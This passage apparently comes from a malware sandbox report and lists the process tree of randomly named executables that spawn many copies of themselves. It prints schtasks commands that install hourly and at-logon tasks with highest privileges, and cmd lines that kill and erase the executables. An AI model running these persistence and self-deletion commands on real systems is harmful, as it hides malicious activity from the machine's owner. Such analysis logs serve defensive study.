    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6176
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7952
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:10216
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:10168
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:9804
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:9652
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:9392
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:9224
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7940
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:5180
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7248
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2928
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6192
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3168
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2584
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6688
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7800
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:8412
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7004
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7332
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7244
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:8232
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7788
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7808
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:8500
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:8224
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:9084
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:8780
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:8596
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7528
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6936
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:5796
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6188
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7992
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:4820
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:7744
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:3168
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6864
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6572
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6164
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:2208
- - C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    C:\Users\Admin\Documents\APribH_l4IK01zImJ9aGZMc_.exe
    3⤵
    PID:6076
- C:\Users\Admin\Documents\Jjz7w0xhZvOF2Og6wqO44_6B.exe
  "C:\Users\Admin\Documents\Jjz7w0xhZvOF2Og6wqO44_6B.exe"
  2⤵
  PID:848
- C:\Users\Admin\Documents\bIwyELIQmQtVYQP9fvIYlBxt.exe
  "C:\Users\Admin\Documents\bIwyELIQmQtVYQP9fvIYlBxt.exe"
  2⤵
  PID:2232
- C:\Users\Admin\Documents\3VRe76tD1AumQ_njSupYYBDZ.exe
  "C:\Users\Admin\Documents\3VRe76tD1AumQ_njSupYYBDZ.exe"
  2⤵
  PID:2212
- C:\Users\Admin\Documents\fuJzf7dKGlYmPlG0MpVE3A1j.exe
  "C:\Users\Admin\Documents\fuJzf7dKGlYmPlG0MpVE3A1j.exe"
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:3012
- C:\Users\Admin\Documents\bD0NXY1cGswv5LnVGIl3ScWN.exe
  "C:\Users\Admin\Documents\bD0NXY1cGswv5LnVGIl3ScWN.exe"
  2⤵
  PID:2180
- C:\Users\Admin\Documents\mlu7BFp51YJAyresKiGtAv3d.exe
  "C:\Users\Admin\Documents\mlu7BFp51YJAyresKiGtAv3d.exe"
  2⤵
  PID:2160
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "mlu7BFp51YJAyresKiGtAv3d.exe" /f & erase "C:\Users\Admin\Documents\mlu7BFp51YJAyresKiGtAv3d.exe" & exit
    3⤵
    PID:3060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "mlu7BFp51YJAyresKiGtAv3d.exe" /f
      4⤵
      Kills process with taskkill
      PID:2804
- C:\Users\Admin\Documents\K2WBeLI4rRk4VOlVGGHwHf3k.exe
  "C:\Users\Admin\Documents\K2WBeLI4rRk4VOlVGGHwHf3k.exe"
  2⤵
  PID:2140
- C:\Users\Admin\Documents\6N6pSjEgxxarJj810si2lWmj.exe
  "C:\Users\Admin\Documents\6N6pSjEgxxarJj810si2lWmj.exe"
  2⤵
  PID:2112
- C:\Users\Admin\Documents\gyZwE0CjMrcxlt5TRWYxlBd6.exe
  "C:\Users\Admin\Documents\gyZwE0CjMrcxlt5TRWYxlBd6.exe"
  2⤵
  PID:2092
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "gyZwE0CjMrcxlt5TRWYxlBd6.exe" /f & erase "C:\Users\Admin\Documents\gyZwE0CjMrcxlt5TRWYxlBd6.exe" & exit
    3⤵
    PID:5708
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "gyZwE0CjMrcxlt5TRWYxlBd6.exe" /f
      4⤵
      Kills process with taskkill
      PID:6092
- C:\Users\Admin\Documents\zX6m4l1X5NgIOhEGDl1aGIAF.exe
  "C:\Users\Admin\Documents\zX6m4l1X5NgIOhEGDl1aGIAF.exe"
  2⤵
  PID:556
- C:\Users\Admin\Documents\Nt1msdAwQCGocRWUhj84fuaa.exe
  "C:\Users\Admin\Documents\Nt1msdAwQCGocRWUhj84fuaa.exe"
  2⤵
  PID:1480
- C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
  "C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe"
  2⤵
  PID:1560
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2076
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2228
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2368
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2060
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:792
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2512
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1388
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2532
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1548
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2024
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2564
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2236
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:540
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2396
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1904
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3168
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3276
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3356
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3456
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3528
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3596
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3704
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3820
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3928
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4020
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4072
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2088
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3176
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1444
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3856
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2808
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3184
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3400
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2568
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3132
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3452
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4212
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4304
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4464
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4552
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4712
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4844
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4992
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5108
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4248
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2944
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4584
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4908
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5076
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1100
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3000
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4332
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2708
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4160
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4656
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3952
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3412
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3812
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3832
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4860
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5092
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5152
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5296
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5416
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5520
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5636
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5776
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5908
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6012
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6132
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4916
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3080
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5692
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4728
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:300
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5136
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6256
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6524
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6636
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6720
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5548
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5724
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7736
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7932
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7980
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2112
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6404
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4884
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5888
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6336
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4808
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8276
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
